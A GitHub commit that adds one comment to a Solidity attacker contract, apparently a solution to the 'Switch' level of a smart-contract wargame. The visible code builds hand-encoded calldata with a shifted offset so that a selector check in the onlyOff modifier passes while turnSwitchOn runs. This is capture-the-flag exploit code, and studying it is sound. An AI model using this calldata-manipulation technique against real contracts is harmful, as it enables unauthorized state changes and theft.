add notes in 29-Switch

tannerang · Feb 1, 2024 · cf3b067 · cf3b067
1 parent f7ab5bd
commit cf3b067
Showing 1 changed file with 1 addition and 0 deletions.
diff --git a/src/29-SwitchAttacker.sol b/src/29-SwitchAttacker.sol
@@ -9,6 +9,7 @@ contract SwitchAttacker {
     }
 
     function attack() external {
+        // Encode abi to pass the modifier onlyOff()
         bytes memory data = abi.encodeWithSignature("flipSwitch(bytes)", bytes32(uint256(96)), bytes32(""), bytes4(keccak256("turnSwitchOff()")), bytes32(uint256(4)), bytes4(keccak256("turnSwitchOn()")));
         challengeInstance.call(data);
     }